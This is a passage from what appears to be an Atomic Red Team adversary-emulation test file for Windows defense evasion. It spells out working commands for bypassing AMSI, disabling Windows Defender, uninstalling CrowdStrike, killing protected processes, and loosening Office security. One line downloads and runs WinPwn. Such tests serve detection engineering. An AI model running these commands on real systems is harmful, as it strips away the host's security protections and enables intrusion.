- "cleanup_command": "sysmon -i -accepteula >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "AMSI Bypass - AMSI InitFailed",
- "auto_generated_guid": "695eed40-e949-40e5-b306-b4031e4154bd",
- "description": "Any easy way to bypass AMSI inspection is it patch the dll in memory setting the \"amsiInitFailed\" function to true.\nUpon execution, no output is displayed.\n\nhttps://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n",
- "cleanup_command": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)\n",
- "name": "powershell"
- }
- },
- {
- "name": "AMSI Bypass - Remove AMSI Provider Reg Key",
- "auto_generated_guid": "13f09b91-c953-438e-845b-b585e51cac9b",
- "description": "With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection.\nThis test removes the Windows Defender provider registry key. Upon execution, no output is displayed.\nOpen Registry Editor and navigate to \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\\" to verify that it is gone.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Remove-Item -Path \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\" -Recurse\n",
- "cleanup_command": "New-Item -Path \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\" -Name \"{2781761E-28E0-4109-99FE-B9D127C57AFE}\" -ErrorAction Ignore | Out-Null\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Disable Arbitrary Security Windows Service",
- "auto_generated_guid": "a1230893-56ac-4c81-b644-2108e982f8f5",
- "description": "With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.\nChange the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.\nTo verify that the service has stopped, run \"sc query McAfeeDLPAgentService\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "service_name": {
- "description": "The name of the service to stop",
- "type": "string",
- "default": "McAfeeDLPAgentService"
- }
- },
- "executor": {
- "command": "net.exe stop #{service_name}\nsc.exe config #{service_name} start= disabled\n",
- "cleanup_command": "sc.exe config #{service_name} start= auto >nul 2>&1\nnet.exe start #{service_name} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Tamper with Windows Defender ATP PowerShell",
- "auto_generated_guid": "6b8df440-51ec-4d53-bf83-899591c9b5d7",
- "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled\nin Windows settings.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Set-MpPreference -DisableRealtimeMonitoring 1\nSet-MpPreference -DisableBehaviorMonitoring 1\nSet-MpPreference -DisableScriptScanning 1\nSet-MpPreference -DisableBlockAtFirstSeen 1\n",
- "cleanup_command": "Set-MpPreference -DisableRealtimeMonitoring 0\nSet-MpPreference -DisableBehaviorMonitoring 0\nSet-MpPreference -DisableScriptScanning 0\nSet-MpPreference -DisableBlockAtFirstSeen 0\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Tamper with Windows Defender Command Prompt",
- "auto_generated_guid": "aa875ed4-8935-47e2-b2c5-6ec00ab220d2",
- "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.\nHowever, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, \"Access Denied\"\nwill be displayed twice and the WinDefend service status will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "sc stop WinDefend\nsc config WinDefend start=disabled\nsc query WinDefend\n",
- "cleanup_command": "sc start WinDefend >nul 2>&1\nsc config WinDefend start=enabled >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Tamper with Windows Defender Registry",
- "auto_generated_guid": "1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45",
- "description": "Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be\ngrayed out and have no info.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1\n",
- "cleanup_command": "Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 0\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Disable Microsoft Office Security Features",
- "auto_generated_guid": "6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7",
- "description": "Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not\nshow any warning before editing the document.\n\n\nhttps://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "New-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\" -Name \"VBAWarnings\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableInternetFilesInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableUnsafeLocationsInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableAttachementsInPV\" -Value \"1\" -PropertyType \"Dword\"\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\" -Name \"VBAWarnings\" -ErrorAction Ignore | Out-Null\nRemove-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Remove Windows Defender Definition Files",
- "auto_generated_guid": "3d47daaa-2f56-43e0-94cc-caf5d8d52a68",
- "description": "Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.\nOn later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the\ncommand will say completed.\n\nhttps://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Stop and Remove Arbitrary Security Windows Service",
- "auto_generated_guid": "ae753dda-0f15-4af6-a168-b9ba16143143",
- "description": "Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "service_name": {
- "description": "The name of the service to remove",
- "type": "string",
- "default": "McAfeeDLPAgentService"
- }
- },
- "executor": {
- "command": "Stop-Service -Name #{service_name}\nRemove-Service -Name #{service_name}\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Uninstall Crowdstrike Falcon on Windows",
- "auto_generated_guid": "b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297",
- "description": "Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "falcond_path": {
- "description": "The Crowdstrike Windows Sensor path. The Guid always changes.",
- "type": "path",
- "default": "C:\\ProgramData\\Package Cache\\{7489ba93-b668-447f-8401-7e57a6fe538d}\\WindowsSensor.exe"
- }
- },
- "executor": {
- "command": "if (Test-Path \"#{falcond_path}\") {. \"#{falcond_path}\" /repair /uninstall /quiet } else { Get-ChildItem -Path \"C:\\ProgramData\\Package Cache\" -Include \"WindowsSensor.exe\" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq \"Valid\" -and $sig.SignerCertificate.DnsNameList -eq \"CrowdStrike, Inc.\") { . \"$_\" /repair /uninstall /quiet; break;}}}",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Tamper with Windows Defender Evade Scanning -Folder",
- "auto_generated_guid": "0b19f4ee-de90-4059-88cb-63c800c683ed",
- "description": "Malware can exclude a specific path from being scanned and evading detection. \nUpon successul execution, the file provided should be on the list of excluded path. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionPath \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "excluded_folder": {
- "description": "This folder will be excluded from scanning",
- "type": "path",
- "default": "C:\\Temp"
- }
- },
- "executor": {
- "command": "$excludedpath= \"#{excluded_folder}\"\nAdd-MpPreference -ExclusionPath $excludedpath",
- "cleanup_command": "$excludedpath= \"#{excluded_folder}\"\nRemove-MpPreference -ExclusionPath $excludedpath\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Tamper with Windows Defender Evade Scanning -Extension",
- "auto_generated_guid": "315f4be6-2240-4552-b3e1-d1047f5eecea",
- "description": "Malware can exclude specific extensions from being scanned and evading detection. \nUpon successful execution, the extension(s) should be on the list of excluded extensions.\nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionExtension.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "excluded_exts": {
- "description": "A list of extension to exclude from scanning",
- "type": "string",
- "default": ".exe"
- }
- },
- "executor": {
- "command": "$excludedExts= \"#{excluded_exts}\"\nAdd-MpPreference -ExclusionExtension $excludedExts",
- "cleanup_command": "$excludedExts= \"#{excluded_exts}\"\nRemove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Tamper with Windows Defender Evade Scanning -Process",
- "auto_generated_guid": "a123ce6a-3916-45d6-ba9c-7d4081315c27",
- "description": "Malware can exclude specific processes from being scanned and evading detection.\nUpon successful execution, the process(es) should be on the list of excluded processes. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionProcess.\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "excluded_process": {
- "description": "A list of processes to exclude from scanning",
- "type": "string",
- "default": "outlook.exe"
- }
- },
- "executor": {
- "command": "$excludedProcess = \"#{excluded_process}\"\nAdd-MpPreference -ExclusionProcess $excludedProcess",
- "cleanup_command": "$excludedProcess = \"#{excluded_process}\"\nRemove-MpPreference -ExclusionProcess $excludedProcess\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Disable Windows Defender with DISM",
- "auto_generated_guid": "871438ac-7d6e-432a-b27d-3e7db69faf58",
- "description": "The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. \nDISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.\nA successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.\nThis method will remove Defender and it's package.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Disable Defender with Defender Control",
- "auto_generated_guid": "178136d8-2778-4d7a-81f3-d517053a4fd6",
- "description": "Attempting to use Defender Control software to disable Windows Defender. Upon successful execution, Windows Defender will be turned off. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "DefenderID": {
- "description": "Defender ID that is used as a sort of passcode to disable it within Defender Control from the command line. The machine-specific Defender ID can be obtained within Defender Control by going to menu, command line info, and then retrieving the 4 character passcode to continue (listed after defendercontrol /d /id in the command line info window).",
- "type": "string",
- "default": "FFFF"
- },
- "DefenderControlExe": {
- "description": "Path to Defender Control software version 1.6.",
- "type": "string",
- "default": "$env:temp\\DefenderControl\\DefenderControl\\DefenderControl.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Defender Control must be installed on the machine. \n",
- "prereq_command": "if (Test-Path #{DefenderControlExe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Start-BitsTransfer -Source \"https://web.archive.org/web/20201210152711/https://www.sordum.org/files/download/defender-control/DefenderControl.zip\" -Destination \"$env:temp\\defendercontrol.zip\" -dynamic\nexpand-archive -LiteralPath \"$env:temp\\defendercontrol.zip\" -DestinationPath \"$env:temp\\DefenderControl\"\n"
- }
- ],
- "executor": {
- "command": "cmd /c #{DefenderControlExe} /D #{DefenderID} | Out-Null\n",
- "cleanup_command": "cmd /c #{DefenderControlExe} /E | Out-Null\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Disable Defender Using NirSoft AdvancedRun",
- "auto_generated_guid": "81ce22fd-9612-4154-918e-8a1f285d214d",
- "description": "Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html\nThis Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.\nSee https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3\nUpon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "AdvancedRun_Location": {
- "description": "Path of Advanced Run executable",
- "type": "path",
- "default": "$env:temp\\AdvancedRun.exe"
- },
- "delete_defender_folder": {
- "description": "Set to 1 to also delete the Windows Defender folder",
- "type": "integer",
- "default": 0
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Advancedrun.exe must exist at #{AdvancedRun_Location}\n",
- "prereq_command": "if(Test-Path -Path #{AdvancedRun_Location}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"http://www.nirsoft.net/utils/advancedrun.zip\" -OutFile \"$env:temp\\advancedrun.zip\"\nExpand-Archive -path \"$env:temp\\advancedrun.zip\" -destinationpath \"$env:temp\\\" -Force\n"
- }
- ],
- "executor": {
- "command": "Try {cmd /c #{AdvancedRun_Location} /EXEFilename \"$env:systemroot\\System32\\sc.exe\" /WindowState 0 /CommandLine \"stop WinDefend\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\nif(#{delete_defender_folder}){\n $CommandToRun = rmdir \"$env:programdata\\Microsoft\\Windows Defender\" -Recurse\n Try {cmd /c #{AdvancedRun_Location} /EXEFilename \"$env:systemroot\\System32\\WindowsPowershell\\v1.0\\powershell.exe\" /WindowState 0 /CommandLine \"$CommandToRun\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\n}\n",
- "cleanup_command": "Try {cmd /c #{AdvancedRun_Location} /EXEFilename \"$env:systemroot\\System32\\sc.exe\" /WindowState 0 /CommandLine \"start WinDefend\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Kill antimalware protected processes using Backstab",
- "auto_generated_guid": "24a12b91-05a7-4deb-8d7f-035fa98591bc",
- "description": "Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill.\nhttps://github.com/Yaxser/Backstab",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_name": {
- "description": "Name of the protected process you want to kill/terminate.",
- "type": "string",
- "default": "MsMpEng.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Backstab64.exe should exist in %temp%",
- "prereq_command": "if (Test-Path $env:temp\\Backstab64.exe) {exit 0} else {exit 1}",
- "get_prereq_command": "Start-BitsTransfer -Source \"https://github.com/Yaxser/Backstab/releases/download/v1.0.1-beta/Backstab64.exe\" -Destination \"$env:temp\\Backstab64.exe\" -dynamic"
- }
- ],
- "executor": {
- "command": "& $env:temp\\Backstab64.exe -k -n #{process_name}",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Kill the event log services for stealth",
- "auto_generated_guid": "7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66",
- "description": "Kill the event log services for stealth via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ninv-phantom -consoleoutput -noninteractive ",
- "name": "powershell"
- }
- },
- {
- "name": "Tamper with Windows Defender ATP using Aliases - PowerShell",
- "auto_generated_guid": "c531aa6e-9c97-4b29-afee-9b7be6fc8a64",
- "description": "Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled\nin Windows settings.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Set-MpPreference -drtm $True\nSet-MpPreference -dbm $True\nSet-MpPreference -dscrptsc $True\nSet-MpPreference -dbaf $True\n",
- "cleanup_command": "Set-MpPreference -drtm 0\nSet-MpPreference -dbm 0\nSet-MpPreference -dscrptsc 0\nSet-MpPreference -dbaf 0\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "LockBit Black - Disable Privacy Settings Experience Using Registry -cmd",
- "auto_generated_guid": "d6d22332-d07d-498f-aea0-6139ecb7850e",
- "description": "LockBit Black - Disable Privacy Settings Experience Using Registry\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f\n",
- "cleanup_command": "reg delete \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "LockBit Black - Use Registry Editor to turn on automatic logon -cmd",
- "auto_generated_guid": "9719d0e1-4fe0-4b2e-9a72-7ad3ee8ddc70",
- "description": "LockBit Black - Use Registry Editor to turn on automatic logon\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_DWORD /d 1 /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultUserName /t REG_SZ /d Administrator /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultDomainName /t REG_SZ /d contoso.com /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword /t REG_SZ /d password1 /f\n",
- "cleanup_command": "reg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /f >nul 2>&1\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultUserName /f >nul 2>&1\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultDomainName /f >nul 2>&1\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell",
- "auto_generated_guid": "d8c57eaa-497a-4a08-961e-bd5efd7c9374",
- "description": "LockBit Black - Disable Privacy Settings Experience Using Registry\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "New-ItemProperty \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\OOBE\" -Name DisablePrivacyExperience -PropertyType DWord -Value 0 -Force\n",
- "cleanup_command": "Remove-ItemProperty \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\OOBE\" -Name DisablePrivacyExperience -Force -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell",
- "auto_generated_guid": "5e27f36d-5132-4537-b43b-413b0d5eec9a",
- "description": "Lockbit Black - Use Registry Editor to turn on automatic logon\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "New-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Value Administrator -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Value contoso.com -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword -Value password1 -Force\n",
- "cleanup_command": "Remove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword -Force -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Disable Windows Defender with PwSh Disable-WindowsOptionalFeature",
- "auto_generated_guid": "f542ffd3-37b4-4528-837f-682874faa012",
- "description": "The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. \nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.\nA successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.\nThis method will remove Defender and it's packages.\nReference: https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Disable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Gui\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Features\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-ApplicationGuard\" -NoRestart -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WMIC Tamper with Windows Defender Evade Scanning Folder",
- "auto_generated_guid": "59d386fc-3a4b-41b8-850d-9e3eee24dfe4",
- "description": "The following Atomic will attempt to exclude a folder within Defender leveraging WMI\nReference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wmic.exe /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Add ExclusionPath=\\\"ATOMICREDTEAM\\\"\n",
- "cleanup_command": "wmic.exe /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Remove ExclusionPath=\\\"ATOMICREDTEAM\\\"\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Delete Windows Defender Scheduled Tasks",
- "auto_generated_guid": "4b841aa1-0d05-4b32-bbe7-7564346e7c76",
- "description": "The following atomic test will delete the Windows Defender scheduled tasks.\n\n[Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/)\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "The Windows Defender scheduled tasks must be backed up first\n",
- "prereq_command": "IF EXIST \"%temp%\\Windows_Defender_Scheduled_Scan.xml\" ( EXIT 0 ) ELSE ( EXIT 1 )\n",
- "get_prereq_command": "schtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" > \"%temp%\\Windows_Defender_Scheduled_Scan.xml\"\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" > \"%temp%\\Windows_Defender_Cleanup.xml\"\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" > \"%temp%\\Windows_Defender_Verification.xml\"\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" > \"%temp%\\Windows_Defender_Cache_Maintenance.xml\"\n"
- }
- ],
- "executor": {
- "command": "IF EXIST \"%temp%\\Windows_Defender_Scheduled_Scan.xml\" ( schtasks /delete /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /f )\nIF EXIST \"%temp%\\Windows_Defender_Cleanup.xml\" ( schtasks /delete /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" /f )\nIF EXIST \"%temp%\\Windows_Defender_Verification.xml\" ( schtasks /delete /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /f )\nIF EXIST \"%temp%\\Windows_Defender_Cache_Maintenance.xml\" ( schtasks /delete /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /f )\n",
- "cleanup_command": "schtasks /create /xml \"%temp%\\Windows_Defender_Scheduled_Scan.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /f\nschtasks /create /xml \"%temp%\\Windows_Defender_Cleanup.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" /f\nschtasks /create /xml \"%temp%\\Windows_Defender_Verification.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /f\nschtasks /create /xml \"%temp%\\Windows_Defender_Cache_Maintenance.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /f\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Disable Hypervisor-Enforced Code Integrity (HVCI)",
- "auto_generated_guid": "70bd71e6-eba4-4e00-92f7-617911dbe020",
- "description": "This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity \"Enabled\" value to \"0\".\nThe pre-req needs to be ran in order to setup HVCI and have it enabled. \nWe do not recommend running this in production.\n[Black Lotus Campaign](https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/)\n[Microsoft](https://learn.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity)\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "HVCI must be enabled\n",
- "prereq_command": "if (((cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"EnableVirtualizationBasedSecurity\" 2> nul | findstr EnableVirtualizationBasedSecurity 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"RequirePlatformSecurityFeatures\" 2> nul | findstr RequirePlatformSecurityFeatures 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"Locked\" 2> nul | findstr Locked 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" 2> nul | findstr Enabled 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Locked\" 2> nul | findstr Locked 2> nul\"))) { exit 0 } else { exit 1 }\n",
